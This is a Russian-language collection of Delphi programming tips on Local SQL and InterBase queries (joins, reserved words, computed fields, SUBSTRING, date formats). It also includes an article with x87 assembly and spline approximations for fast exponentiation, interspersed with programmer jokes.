SQL outer join.

Select * From "TEST.DB" Test Left Outer Join "Emp.DB" Emp
On Test.Emp_ID = Emp.Emp_ID 

Вместо Left вы можете также задать Right или Full.

Зарезервированные слова Local SQL.

Ниже приведен список в алфавитном порядке слов, зарезервированных Local SQL в Borland Database Engine. Имейте в виду, что данный совет публикуется "как есть". ACTIVE, ADD, ALL, AFTER, ALTER, AND, ANY, AS, ASC, ASCENDING, AT, AUTO, AUTOINC, AVG BASE_NAME, BEFORE, BEGIN, BETWEEN, BLOB, BOOLEAN, BOTH, BY, BYTES CACHE, CAST, CHAR, CHARACTER, CHECK, CHECK_POINT_LENGTH, COLLATE, COLUMN, COMMIT, COMMITTED, COMPUTED, CONDITIONAL, CONSTRAINT, CONTAINING, COUNT, CREATE, CSTRING, CURRENT, CURSOR DATABASE, DATE, DAY, DEBUG, DEC, DECIMAL, DECLARE, DEFAULT, DELETE, DESC, DESCENDING, DISTINCT, DO, DOMAIN, DOUBLE, DROP ELSE, END, ENTRY_POINT, ESCAPE, EXCEPTION, EXECUTE, EXISTS, EXIT, EXTERNAL, EXTRACT FILE, FILTER, FLOAT, FOR, FOREIGN, FROM, FULL, FUNCTION GDSCODE, GENERATOR, GEN_ID, GRANT, GROUP, GROUP_COMMIT_WAIT_TIME HAVING, HOUR IF, IN, INT, INACTIVE, INDEX, INNER, INPUT_TYPE, INSERT, INTEGER, INTO, IS, ISOLATION JOIN KEY LONG, LENGTH, LOGFILE, LOWER, LEADING, LEFT, LEVEL, LIKE, LOG_BUFFER_SIZE MANUAL, MAX, MAXIMUM_SEGMENT, MERGE, MESSAGE, MIN, MINUTE, MODULE_NAME, MONEY, MONTH NAMES, NATIONAL, NATURAL, NCHAR, NO, NOT, NULL, NUM_LOG_BUFFERS, NUMERIC OF, ON, ONLY, OPTION, OR, ORDER, OUTER, OUTPUT_TYPE, OVERFLOW PAGE_SIZE, PAGE, PAGES, PARAMETER, PASSWORD, PLAN, POSITION, POST_EVENT, PRECISION, PROCEDURE, PROTECTED, PRIMARY, PRIVILEGES RAW_PARTITIONS, RDB$DB_KEY, READ, REAL, RECORD_VERSION, REFERENCES, RESERV, RESERVING, RETAIN, RETURNING_VALUES, RETURNS, REVOKE, RIGHT, ROLLBACK SECOND, SEGMENT, SELECT, SET, SHARED, SHADOW, SCHEMA, SINGULAR, SIZE, SMALLINT, SNAPSHOT, SOME, SORT, SQLCODE, STABILITY, STARTING, STARTS, STATISTICS, SUB_TYPE, SUBSTRING, SUM, SUSPEND TABLE, THEN, TIME, TIMESTAMP, TIMEZONE_HOUR, TIMEZONE_MINUTE, TO, TRAILING, TRANSACTION, TRIGGER, TRIM UNCOMMITTED, UNION, UNIQUE, UPDATE, UPPER, USER VALUE, VALUES, VARCHAR, VARIABLE, VARYING, VIEW WAIT, WHEN, WHERE, WHILE, WITH, WORK, WRITE YEAR Операторы:

||, -, *, /, <>, <, >, ,(запятая), =, <=, >=, ~=, !=, ^=, (, ).

SQL - сортировка вычисляемого поля.

У молодого хакера спрашивают: - Максим, ну что тебе нравится, кроме женщин и компьютеров? - Как что? Девушки и калькуляторы.
Иногда схема данных требует, чтобы набор данных имел вычисляемый результат. В приложениях Delphi в случае использования SQL это возможно, но эта технология немного разнится в зависимости от используемого типа данных. Для локального SQL, включая таблицы Paradox и dBASE, вычисляемому полю дают имя с использованием ключевого слова AS. При этом допускается ссылаться на такое поле для задания порядка сортировки с помощью ключевой фразы ORDER BY в SQL-запросе. Например, используя демонстрационную таблицу ITEMS.DB:
  SELECT I."PARTNO", I."QTY", (I."QTY" * 100) AS TOTAL
  FROM "ITEMS.DB" I
  ORDER BY TOTAL
В данном примере вычисляемому полю было присвоено имя TOTAL (временно, только для ссылки), после чего оно стало доступным в SQL-запросе для выражения ORDER BY. Вышеуказанный метод не поддерживается в InterBase. Тем не менее, сортировать вычисляемые поля в таблицах InterBase (IB) или сервере Local InterBase Server все же возможно. Вместо использования имени вычисляемого поля, в выражении ORDER BY используется порядковое число, представляющее собой позицию вычисляемого поля в списке полей таблицы. Например, используя демонстрационную таблицу EMPLOYEE (расположенную в базе данных EMPLOYEE.GDB):
  SELECT EMP_NO, SALARY, (SALARY / 12) AS MONTHLY
  FROM EMPLOYEE
  ORDER BY 3 DESCENDING
В то время, как таблицы IB и LIBS используют второй метод, и не могут воспользоваться первым, оба метода доступны при работе с локальным SQL. К примеру, используя SQL-запрос для таблицы Paradox, и приспосабливая его для работы с относительной позицией вычисляемого поля, а не его именем:
  SELECT I."PARTNO", I."QTY", (I."QTY" * 100) AS TOTAL
  FROM "ITEMS.DB" I
  ORDER BY 3

SQL - вложенные пробелы.

Письмо в компьютерный сервисный центр: - Этанутипауменяпробелполомалсячеделатьто? Ответ: - Настоящие_программисты_не_пользуются_пробелами.
Выполнение SQL с пробелами и специальными символами в имени поля/колонки Выполнение SQL-запросов в Delphi-компоненте TQuery (или специального средства SQL-запроса в Database Desktop, Visual dBASE или Paradox for Windows) требует специального синтаксиса для любых колонок, содержащих пробелы или специальные символы. Пользуясь таблицей Biolife.DB из демо-данных Delphi, проиллюстрируем использование любых специфических требований синтаксиса. Запрос SQL Select мог бы быть сформирован следующим образом:
  SELECT
   Species No,
   Category,
   Common_Name,
   Species Name,
   Length (cm),
   Length_In,
   Notes,
   Graphic
  FROM
   BIOLIFE
В нормальной ситуации пробелы в номерах и именах колонок, длина в сантиметрах, круглые скобки и другие символы могут стать причиной синтаксической ошибки. Для коррекции синтаксиса в вышеприведенном SQL-выражении необходимо внести два изменения. Во-первых, любые колонки, содержищие пробелы или специальные символы должны быть заключены в двойные или одинарные (апострофы) кавычки. Во-вторых, ссылке на имя колонки должна предшествовать ссылка на саму таблицу и точка после нее. Второе требование особенно важно, поскольку заключенная в кавычки строка интерпретируется не как строковое выражение, а как значение колонки. Ниже приведено правильно отформатированное выражение:
  SELECT
   BIOLIFE."Species No",
   BIOLIFE."Category",
   BIOLIFE."Common_Name",
   BIOLIFE."Species Name",
   BIOLIFE."Length (cm)",
   BIOLIFE."Length_In",
   BIOLIFE."Notes",
   BIOLIFE."Graphic"
  FROM
   "BIOLIFE.DB" BIOLIFE
В приведенном выше примере таблицный псевдоним BIOLIFE используется в качестве ссылки на саму таблицу и располагается перед именем колонки . Данная ссылка может принимать форму имени псевдонима, реального имени таблицы, или ссылаться на имя файла при использовании таблиц dBASE или Paradox. Следующее SQL-выражение должно также хорошо работать. Примечание: Данное SQL-выражение может использоваться при условии, что необходимый псевдоним уже открыт. В случае TQuery это означает, что псевдоним определен в свойстве DatabaseName.
  SELECT
   BIOLIFE."Species No",
   BIOLIFE.Category,
   BIOLIFE.Common_Name,
   BIOLIFE."Species Name",
   BIOLIFE."Length (cm)",
   BIOLIFE.Length_In,
   BIOLIFE.Notes,
   BIOLIFE.Graphic
  FROM
   BIOLIFE
Если псевдоним недоступен, то для таблицы должен быть определен путь целиком, например, так:
  SELECT
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Species No",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Category",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Common_Name",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Species Name",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Length (cm)",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Length_In",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Notes",
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Graphic"
  FROM
   "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"

Наконец, есть два средства автоматического форматирования специального синтаксиса. Первым является Visual Query Builder, включаемой в версию Client/Server Delphi. Visual Query Builder выполняет такое форматирование автоматически, по мере создания запроса. Другое средство - Database Desktop Show SQL, доступный при создании и редактировании запроса QBE-типа. После выбора пункта меню Query|Show SQL, отображаемый SQL-текст может быть вырезан и вставлен где необходимо.

Адаптация значения даты или времени к различным форматам SQL-сервера.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
Wenn man mit verschiedensprachigen (MS-)SQL-Servern arbeitet, 
hat man ab und an das Problem, Datumswerte in ein fur den 
jeweiligen Server verstandliches Format umzuwandeln. 
}
 { 
If you work with different (MS-)SQL-Server, you have sometimes the 
problem what the date value is in the correct format. 
}
 function TForm1.GetSQLDateTimeFormat(UDL: string): string;
 begin
   Screen.Cursor := crSQLWait;
   if ADOConnection1.Connected then ADOConnection1.Close;
   ADOConnection1.ConnectionString := 'FILE NAME=' + UDL;
   ADOQuery1.SQL.Clear;
   ADOQuery1.SQL.Add('sp_helplanguage @@LANGUAGE');
   Application.ProcessMessages;
   try
     try
       ADOQuery1.Open;
     except
       on E: Exception do MessageBox(Handle,
           PChar('Die Abfrage konnte nicht geoffnet werden:' + #13#10+#13#10+E.Message),
           PChar('Fehler!'), 16);
     end;
     if (ADOQuery1.Active) and (ADOQuery1.RecordCount > 0) then
       Result := ADOQuery1.FieldByName('dateformat').AsString;
   finally
     Screen.Cursor := crDefault;
   end;
 end;
 function DateTimeToSQLDateTimeString(Data: TDateTime; Format: string;
   OnlyDate: Boolean = True): string;
 var
   y, m, d, h, mm, s, ms: Word;
 begin
   DecodeDate(Data, y, m, d);
   DecodeTime(Data, h, mm, s, ms);
   if Format = 'dmy' then
     Result := IntToStr(d) + '-' + IntToStr(m) + '-' + IntToStr(y)
   else if Format = 'ymd' then
     Result := IntToStr(y) + '-' + IntToStr(m) + '-' + IntToStr(d)
   else if Format = 'ydm' then
     Result := IntToStr(y) + '-' + IntToStr(d) + '-' + IntToStr(m)
   else if Format = 'myd' then
     Result := IntToStr(m) + '-' + IntToStr(y) + '-' + IntToStr(d)
   else if Format = 'dym' then
     Result := IntToStr(d) + '-' + IntToStr(y) + '-' + IntToStr(m)
   else
     Result := IntToStr(m) + '-' + IntToStr(d) + '-' + IntToStr(y); //mdy: ; //US 
  if not OnlyDate then
     Result := Result + ' ' + IntToStr(h) + ':' + IntToStr(mm) + ':' + IntToStr(s);
 end;
 //Example: 
//Beispiel: 
procedure ConvertSQLDateTime;
 begin
   ShowMessage(DateTimeToSQLDateTimeString(now, GetSQLLanguage('C:\DBEngl.udl')));
 end;

Синтах SQL-функции Substring.

SUBSTRING('Delphi World - это супер!!!' from 1 to 6)

SQL - использование функции SUBSTRING.

SQL-функция SUBSTRING может использоваться в приложениях Delphi, работающих с запросами к локальной SQL, но она не поддерживается при работе с таблицами InterBase (IB) и Local InterBase Server (LIBS). Ниже приведен синтаксис функции SUBSTRING, примеры ее использования в запросах к local SQL, и альтернатива для возвращения тех же результатов для таблиц IB/LIBS. Синтаксис функции SUBSTRING:
  SUBSTRING(<column> FROM <start> [, FOR <length>])
Где: <column> - имя колонки таблицы, из которой должна быть получена подстрока (substring). <start> место в значении колонки, начиная с которого извлекается подстрока. <length> длина извлекаемой подстроки. Функция SUBSTRING в примере ниже возвратит второй, третий и четвертый символы из колонки с именем COMPANY:
  SUBSTRING(COMPANY FROM 2 FOR 3)
Функция SUBSTRING может быть использована и для списка полей в SELECT-запросе, где ключевое слово WHERE допускает сравнение значения с определенным набором колонок. Функция SUBSTRING может использоваться только с колонками типа String (на языке SQL тип CHAR). Вот пример функции SUBSTRING, использующей список колонок в SELECT-запросе (используем демонстрационную таблицу Paradox CUSTOMER.DB):
  SELECT (SUBSTRING(C."COMPANY" FROM 1 FOR 3)) AS SS
  FROM "CUSTOMER.DB" C
Данный SQL-запрос извлекает первые три символа из колонки COMPANY, возвращаемой как вычисляемая колонка с именем SS. Вот пример функции SUBSTRING, использованной в SQL-запросе с ключевым словом WHERE (используем ту же самую таблицу):
  SELECT C."COMPANY"
  FROM "CUSTOMER.DB" C
  WHERE SUBSTRING(C."COMPANY" FROM 2 FOR 2) = "an"
Данный запрос возвратит все строки таблицы, где второй и третий символы в колонке COMPANY равны "ar". Так как функция SUBSTRING не поддерживается в базах данных IB и LIBS, операции с подстроками со списком колонок в запросе невозможны (исключение: IB может работать с подстроками через функции, определяемые пользователем, User-Defined Functions). Но с помощью оператора LIKE и сопутствующих символьных маркеров подстановки возможно работать с подстрокой и в случае WHERE. Вот пример на основе таблицы EMPLOYEE (в базе данных EMPLOYEE.GDB):
  SELECT LAST_NAME, FIRST_NAME
  FROM EMPLOYEE
  WHERE LAST_NAME LIKE "_an%"

Данный SQL-запрос возвратит все строки таблицы, где второй и третий символы в колонке LAST_NAME равны "an", см. предыдущий пример на основе таблицы Paradox. Базам данных IB и LIBS для выполнения сравнения подстроки в операторе запроса WHERE данный метод необходим (и невозможно воспользоваться функцией SUBSTRING), таблицы же Paradox и dBASE (например, local SQL) могут воспользоваться любым методом.

SQL - суммирование вычисляемого поля.

Антивирус. Ты кто? Вирус. Область данных! Антивирус. А не вирус? Вирус. Ни боже мой! Антивирус. А зачем прерывания перехватываешь? Вирус. Я?! Антивирус. Вот же подпрограмма. Вирус. Это не подпрограмма. Это цитата из Лао-цзы на языке оригинала в альтернативной кодировке. Антивирус. А зачем EXE-файлы ищешь? Вирус. А вдруг хозяин спросит: "А где мои ЕХЕ-файлы?" А я ему - вот они! Антивирус. Сдается мне, что ты все-таки вирус. Вирус. Ну ладно, только тебе признаюсь, только ты никому не говори! На самом деле я... антивирусная вакцина! Антивирус. А зачем нужна антивирусная вакцина, если есть я? Вирус. Откуда я знаю? У хозяина спроси. Антивирус. А если я тебя на всякий случай все-таки грохну? Вирус. А если я тебя? Антивирус. Не получится. У меня управление. Вирус. А ты свою контрольную сумму давно пересчитывал? Антивирус. А причем тут моя контрольная... ой!!! Вирус. То-то же.
Бывают случаи, когда в приложении Delphi, которое для получения доступа к данным использует SQL, необходимо узнать сумму вычисленных данных. Другими словами, необходимо с помощью SQL создать вычисляемое поле и применить к нему функцию SUM. При выполнении такой операции с SQL-таблицами (например, Local InterBase Server), все достаточно тривиально, и сумма вычисляется простым использованием функции SUM с указанием поля. Например, используя демонстрационную таблицу EMPLOYEE (из базы данных EMPLOYEE.GDB):
 
  SELECT SUM(SALARY / 12)
  FROM EMPLOYEE
Та же самая методика применима в случае возвращаемого набора данных, в котором значения группируются в другом столбце с помощью утверждения GROUP BY:
  SELECT EMP_NO, SUM(SALARY / 12)
  FROM EMPLOYEE
  GROUP BY EMP_NO
  ORDER BY EMP_NO

Пока SQL базы данных поддерживают суммирование вычисляемых полей, локальный SQL этого делать не будет. Для получения результатов нужны другие методы, например копирование результатов запроса с вычисляемым полем во временную таблицу (как и в случае компонента TBatchMove), и использование компонента TQuery для вычисления суммы данных во временной таблице.

Имя SQL-таблицы.

Этот SQL не работает для RequestLive := True : SELECT * FROM DBO.TABLE1 Этот SQL работает для RequestLive := True : SELECT * FROM "DBO.TABLE1"

Помните о том, что кавычки необходимы для обозначения имени таблицы! Также имейте в виду, что поставляемая документация говорит о том, что для таблиц Oracle кавычки не нужны! Неверно, нужны!!!

Возведение числа в действительную степень.

Оформил: DeeCo

Автор: Максим М. Гумеров.

Содержание Как, никто этого еще не придумал? Есть предложение Чего мы достигли? Аппроксимация функции 2x Новый вариант функции возведения в степень Аппроксимация функции log2x и “специализация” возведения в степень Заключение Кладезь мудрости Как, никто этого еще не придумал?

Не берусь судить. Вероятно, задача о том, как максимально быстро возвести действительное положительное число в произвольную действительную степень, решалась примерно столь же часто, как и вставала, - а вставала, полагаю, не раз. И все же не так давно я с ужасом обнаружил, что RTL из состава Borland Delphi последних версий (как Delphi 6, так и Delphi 7) подходит к решению не более профессионально, чем прилежный пятиклассник, впервые столкнувшийся с такой проблемой.

Взглянем на исходный код функции Power из модуля Math, любезно предоставленный Borland Software:

function Power(const Base, Exponent: Extended): Extended;
begin
  if Exponent = 0.0 then
    Result := 1.0 { n**0 = 1 }
  else if (Base = 0.0) and (Exponent > 0.0) then
    Result := 0.0 { 0**n = 0, n > 0 }
  else if (Frac(Exponent) = 0.0) and (Abs(Exponent) <= MaxInt) then
    Result := IntPower(Base, Integer(Trunc(Exponent)))
  else
    Result := Exp(Exponent * Ln(Base))
end;

Примечательно, что в благих целях оптимизации процессор оставляют наедине с целой толпой ветвлений, приводящих его, в конце концов, в общем случае к пресловутому решению пятиклассника, а именно, к тривиальной формуле.

(1) x**y = exp(ln(x**y)) = exp(y*ln(x)).

Здесь x**y означает возведение x в степень y, a exp(x) = e**x.

Что плохого в таком подходе к решению? Во-первых, в набор инструкций FPU не входит ни операция вычисления exp(x), ни взятия натурального логарифма ln(x). Соответственно, результат вычисляется в несколько этапов, в то время как можно пойти более прямым путем, как будет показано ниже. За счет этого падает скорость вычисления; кроме того, здесь действует интуитивное правило, которое грубо можно сформулировать так: чем больше операций выполняется над числом с плавающей запятой в регистрах сопроцессора, тем больше будет и суммарная погрешность результата.

ПРИМЕЧАНИЕ

Позднейшая проверка показала, что как Visual C из Visual Studio .NET, так и C++ Builder 4.5 реализуют возведение в степень более качественно. Используемый в них вариант концептуально не отличается от того решения, которое я хочу предложить.

Есть предложение

Давайте проведем инвентаризацию. Какие инструкции сопроцессора связаны с возведением в степень или взятием логарифма? Приведу краткую выдержку из [1] и [2]:

F2XM1 – вычисляет 2**x-1, где -1<x<1. FSCALE (масштабирование степенью двойки) - фактически считает 2**trunc(x), где trunc(x) означает округление к 0, т.е. положительные числа округляются в меньшую сторону, отрицательные – в большую. FXTRACT – извлекает мантиссу и экспоненту действительного числа. FYL2X – вычисляет y*log2(x), где log2(x) – логарифм x по основанию 2. FYL2XP1 – вычисляет y*log2(x+1) для -(1-1/sqrt(2))<x<1-1/sqrt(2) c большей точностью, нежели FYL2X. Здесь sqrt(x) означает вычисление квадратного корня.

Вот, в общем-то, и все. Но уже на первый взгляд этого хватает, чтобы понять, что задача может быть решена более прямо, чем предлагает RTL Borland Delphi.

Действительно, почему не заменить показатель степени в (1) на 2? Ведь неперово число отнюдь не является родным для двоичной арифметики! Тогда получится.

(2) x**y = 2**log2(x**y) = 2**(y*log2(x)).

Это выражение для x**y в соответствии с вышеозначенными пятью инструкциями можно представить как композицию функций в таком виде:

(3) f(z)=2**z,

(4) g(x,y)=y*log2(x),

(5) xy =f(g(x,y)).

Так как вычислить f(z) в одно действие невозможно, приходится считать так:

(6) f(z)=2**z=2**(trunc(z)+(z-trunc(z)))=(2**trunc(z)) * (2**(z-trunc(z))).

Формулы (4)-(6) естественно выражаются таким ассемблерным кодом:

;
Во - первых, вычисляем z = y * log2(x):
fld y;
Загружаем основание и показатель степени
fld x
fyl2x;
Стек FPU теперь содержит: ST(0) = z
;
Теперь считаем 2 * * z:
fld st(0);
Создаем еще одну копию z
frndint;
Округляем
fsubr st(0), st(1);
ST(1) = z, ST(0) = z - trunc(z)
f2xm1;
ST(1) = z, ST(0) = 2 * * (z - trunc(z)) - 1
fld1
faddp;
ST(1) = z, ST(0) = 2 * * (z - trunc(z))
fscale;
ST(1) = z, ST(0) = (2 * * trunc(z)) * (2 * * (z - trunc(z))) = 2 * * t
fxch st(1)
fstp st;
Результат остается на вершине стека ST(0)

ПРЕДУПРЕЖДЕНИЕ

Перед выполнением этого фрагмента кода нужно убедиться, что биты управления округлением в слове управления FPU установлены в режим округления к нулю. В Delphi это проще всего сделать при помощи функции SetRoundMode (модуль Math):

SetRoundMode(rmTruncate);

ПРИМЕЧАНИЕ

Так как на процессорах Intel Pentium IV последовательное многократное переключение между двумя (но не более) состояниями слова управления FPU выполняется гораздо быстрее, чем на ранних моделях, можно рассчитывать, что даже в тех ситуациях, когда придется перемежать вызов этого фрагмента кода с действиями, требующими иного режима округления, при работе на современной технике это не приведет к чрезмерным дополнительным временным затратам. Подробности см., например, в [3].

Полный код работоспособной функции на Object Pascal выглядит так:

function _Power(const x, y: FLOATTYPE): FLOATTYPE; //x>0!
asm
  fld y
  fld x
  fyl2x
  fld st(0)
  frndint
  fsubr st(0),st(1)
  f2xm1
  fld1
  faddp
  fscale
  fxch st(1)
  fstp st
end;

СОВЕТ

Имеет смысл создать перегруженные версии функции для различных типов аргументов FLOATTYPE, так как на практике часто главным недостатком встроенной функции является то, что она (как и все вызываемые ею функции) принимает в качестве аргументов действительные числа типа Extended, что приводит к весьма существенным затратам на конвертирование форматов при загрузке в стек FPU.

Чего мы достигли?

Эксперименты показали, что предложенный вариант функции возведения в степень повышает точность вычислений на один-два знака после запятой. Так как автору было несколько лень писать медленный код для сверхточного возведения в степень с целью проверки точности предложенного алгоритма, то эксперимент заключался в сравнении результатов со значением, получающемся в стандартном калькуляторе Windows. Если верить его справочной службе, вычисления в нем производятся с точностью до 32 десятичных знаков после запятой, что позволяет полагаться на него как на источник эталонных значений.

К сожалению, выигрыш в скорости абсолютно не ощущается. Это вполне объяснимо: согласно приложению C (“IA-32 Instruction Latency and Throughput”) документа [3], из всего этого фрагмента основная вычислительная нагрузка ложится на трансцендентные (ответственность за не вполне корректное применение термина ложится не на меня, а на господ из Intel) операции, а именно – FYL2X, FRNDINT, F2XM1 и FSCALE. Количество же этих операций в предложенном алгоритме и их общее число в реализации функций ln(x) и exp(x) в RTL Delphi одинаково.

Конечно, хотелось бы увеличить и скорость вычислений. Но мир не идеален, и за это придется расплачиваться все той же точностью. Как правило, в каждой ситуации существует предел допустимых погрешностей при расчетах. В иллюстративных целях я задался максимальной допустимой относительной погрешностью 0,0001=0,1%. В действительности, как будет видно из графиков относительной погрешности, удалось достичь еще большей точности.

Дальнейшие наши действия должны состоять в том, чтобы исключить трансцендентные математические операции. Ясно, что всякое представление в виде конечной композиции элементарных арифметических операций некоторой функции, неразложимой в такую композицию, является приближением исходной функции. То есть задача ставится так: нужно приблизить используемые трансцендентные функции композициями элементарных операций, оставаясь при этом в допустимых для погрешности пределах.

Аппроксимация функции 2x

Эта мера позволит нам избавиться сразу и от длительной F2XM1, и от выполняющейся ненамного быстрее FSCALE.

Существует бесконечное множество способов приблизить функцию f(x). Один из наиболее простых в вычислительном плане – подбор подходящего по точности многочлена g(x)=anxn+an-1xn-1+...+a1x+a0. Его коэффициенты могут быть постоянны, а могут некоторым образом зависеть от x. В первом случае коэффициенты легко найти методом наименьших квадратов, взяв значения исходной функции в нескольких точках и подобрав коэффициенты так, чтобы в этих точках многочлен принимал значения, как можно более близкие к значениям функции (подробное описание полиномиальной аппроксимации функций и метода наименьших квадратов можно найти в книгах, посвященных курсам вычислительной математики или обработке экспериментальных данных). Простота метода оборачивается существенным недостатком: он подчас неплох для выявления качественных тенденций, но плохо отражает исходную функцию количественно, причем, как правило, погрешность растет с уменьшением степени многочлена n, а скорость вычисления g(x) с ростом n падает.

Достойная альтернатива, позволяющая достаточно точно приближать гладкие кривые, такие, как y=2**x, - аппроксимация сплайнами. Говоря простым языком (возможно, чересчур простым – пусть меня извинят специалисты), сплайн – это кривая, моделирующая форму, принимаемую упругим стержнем, деформированным путем закрепления в заданных точках. Она проходит точно через заданные точки, подчиняясь при этом некоторым дополнительным условиям, в частности, условию непрерывности второй производной. Существуют различные виды сплайнов. В этой работе достаточно практично использование кубических сплайнов. Кубический сплайн на каждом отрезке между двумя последовательными (в порядке возрастания координаты x) эталонными точками (x,f(x)) описывается полиномом третьей степени g(x)=a3x3+a2x2+a1x+a0, где набор коэффициентов (a0,a1,a2,a3) свой для каждого отрезка. Поиск этих коэффициентов – не слишком сложная задача, но описание метода ее решения выходит за рамки этой статьи. Таблица коэффициентов, получающаяся после учета всех замечаний этого раздела, прилагается к статье.

Итак, я ограничусь лишь использованием полученных мною значений коэффициентов. Чтобы обеспечить необходимую точность на промежутке 0<=x<999, мне понадобились в качестве эталонных 2039 точек, которым соответствовали значения x=(i-40)/2, i=0..2038. Сорок значений на отрицательной полуоси нужны были только для того, чтобы отразить поведение сплайна в этой части плоскости, слегка скорректировав таким образом его вид на остальных отрезках; в вычислениях эти 40 отрезков не участвуют, т.к. для значений x<0 можно воспользоваться (без ощутимого проигрыша в скорости или точности) соотношением 2**(-|x|)=1/(2**|x|).

Итак, у нас есть таблица коэффициентов, представленная в виде массива из 1999 блоков по 8*4 байт (если для представления коэффициентов используется тип double). На Object Pascal такой массив описывается типом.

array[0..1998] of packed record c3, c2, c1, c0: double
end;

На практике возникает тонкий момент. Дело в том, что Delphi почему-то отказывается выравнивать массивы Double’ов по границе 8 байт. Лично у меня получается так, что адрес первого элемента всегда бывает кратен 4, но никогда – 8. Поэтому перед началом массива я вставляю заполнитель, чтобы избежать медленного чтения некоторых double’ов, которые частично лежат в одной 64- или 32-байтной линейке кэша, а частично – в следующей:

//Предполагаю, что выставлена опция компилятора {$Align 8}
type
  TArr = packed record
    Padding: integer;
      //Фиктивный 4-байтовый заполнитель - чтобы массив выравнялся по 8 байтам
    C: array[0..1998] of packed record c3, c2, c1, c0: double
    end; //Собственно коэффициенты
  end;

На вход функции Exp2 поступает единственный аргумент x - возводимое в степень число. Как можно реализовать функцию?

Вот как это сделал я.

ПРЕДУПРЕЖДЕНИЕ

Как и для предыдущей функции, нужно обеспечить установку бит управления округлением в режим округления к нулю.

function Exp2(x: FLOATTYPE): FLOATTYPE; //0<=x<999
asm
  fld x
  call Core_Exp2
  //Оформим основную часть в виде процедуры, т.к. она будет использоваться не только здесь -
  // - да и перегрузку функций для другого типа аргумента так делать удобнее.
end;
procedure Core_Exp2; //На вершине стека FPU находится аргумент
var
  i: integer; //Сюда получим индекс в массиве
asm
  fld st //Копируем аргумент
  fadd st,st //st(1)=x, st(0)=2x
  fistp i  //Достаем i (индекс равен trunc(2x)); st(0)=x
  fild i //Полагаемся на т.н. Store-Forwarding: округленное значение передается сразу инструкции
         // fild, не ожидая, пока данные будут записаны в память; st(1)=x, st(0)=trunc(2x)
  mov eax,i
  fld1 //st(2)=x, st(1)=trunc(2x), st(0)=1
  lea eax,[eax*4]  //То есть eax:=i*4
  add eax,eax      // *2
  add eax,1        // +1 = i*8+1 (далее при доступе к массиву используется eax*4, то есть i*32+4,
                   //  т.к. каждая строка по 4*8=32 байта и заполнитель в начале – 4 байта.
                   // Если бы не было заполнителя, последнюю инструкцию нужно было бы убрать.
  fadd st,st
  fld1
  fdivrp //=0.5
  fmulp //st(1)=x, st(0)=0.5*trunc(2x)
  fsubp //st(0)=dx
  //Подсчет по схеме Горнера. Мне казалось, что можно сделать это быстрее,
  //пустив параллельно несколько цепочек вычислений, но пока это не удалось сделать.
  fld qword ptr coeffspow[4*eax]
  fmul st,st(1)
  fld qword ptr coeffspow[4*eax+8]
  faddp
  fmul st,st(1)
  fld qword ptr coeffspow[4*eax+16]
  faddp
  fmul st,st(1)
  fld qword ptr coeffspow[4*eax+24]
  faddp
  fxch st(1)
  fstp st         //Освобождаем ненужный регистр
end;

ПРЕДУПРЕЖДЕНИЕ

Выполнение этого фрагмента изменяет содержимое регистра EAX.

Оценим погрешность приближения. Так как результат, получаемый как _Power(2,x) (функция _Power приведена в начале статьи), заведомо точнее, чем Exp2(x), то в качестве оченки примем относительное отклонение значения последней функции от значения первой: Epsilon=abs( Exp2(x) - _Power(2,x) ) / _Power(2,x). Разумеется, выражение имеет смысл, если _Power(2,x)<>0.

Если построить график относительной погрешности, становится видно, что в пределах каждого из 1998 отрезков он имеет форму кривой с одним максимумом, сходящей к нулю на концах отрезка. При этом пределы колебаний величины погрешности остаются постоянными на всех отрезках, кроме нескольких последних – на них погрешность возрастает. Если не принимать во внимание эти отрезки, и ограничить область допустимых значений аргумента числом 990 (т.е. x<990), то для описания поведения относительной погрешности в зависимости от x достаточно показать ее график на двух последних допустимых для значений x отрезках:

Статьи по Delphi (016)… Рисунок 1. Максимальная погрешность приближения функции Exp2=2**x (при x менее 990) не превышает 0,004%. СОВЕТ

Мы отсекли отрезки, лежащие правее точки x=990. Следовательно, размер таблицы коэффициентов можно несколько сократить: индекс последнего элемента должен быть 990*2=1980, а не 1998. “Лишние” 19 последних строк таблицы можно просто удалить. Логично также изменить текст комментария в начале функции Exp2.

Новый вариант функции возведения в степень

Изменим реализацию возведения в степень в соответствии с предложенной аппроксимацией для 2**x:

function New_Power(x, y: FLOATTYPE): FLOATTYPE; //abs(y*log2(x))<990
asm
  fld y
  fld x
  fldz             //Сравним основание степени
  fcomip st,st(1)  // с 0 и соответственно установим  флаги процессора
  je @Zero
  FYL2X            //Стек: ST(0)=t=y*log2(x)
  fldz
  fcomip st,st(1)  //Флаги выставляем соответственно числу 0-y*log2(x)
  ja @Reverse      //Если 0>y*log2(x), то сосчитаем 2**|y*log2(x)|, а после инвертируем
  call Core_Exp2
  jmp @Exit
@Zero:
  fxch st(1)
  fstp st         //Освобождаем ненужный регистр
  jmp @Exit
@Reverse:
  fabs             //Берем абсолютную величин
  call Core_Exp2
  fld1             //Считаем обратное значение:
  fdivrp           //1/(2**|y*log2(x)|)
@Exit:
end;

ПРЕДУПРЕЖДЕНИЕ

В этом фрагменте используется инструкция FCOMIP, впервые появившаяся на процессорах Pentium Pro. Любителям антиквариата придется использовать вместо пары команд FCOMIP / JE блок.

FCOMP
FSTSW
TEST AX, 16384
JNZ@Zero //Вместо je @Zero

ПРЕДУПРЕЖДЕНИЕ

А вместо FCOMIP / JA - блок.

FCOMP
FSTSW
TEST AX, 256 or 16384 //0<= y*log2(x) ?
JZ@Reverse //Нет, случай со взятием обратного значения

ПРЕДУПРЕЖДЕНИЕ

Вдобавок в этом случае изменяется регистр EAX.

Результаты тестирования отражены на графиках:

Статьи по Delphi (016)… Статьи по Delphi (016)… Рисунок 2. Временные затраты: New_Power – новая функция, Power – из состава RTL Borland Delphi.

Подпись X-0.511 на оси абсцисс отражает тот факт, что при проведении испытаний брались значения целые значения X, к которым затем прибавлялось число 0.511, чтобы гарантировать, что основание степени – число нецелое (т.е. чтобы рассматривать по возможности общий случай).

Черная линия поверх красного набора – сглаженные временные затраты функции Power, фиолетовая поверх синего – функции New_Power.

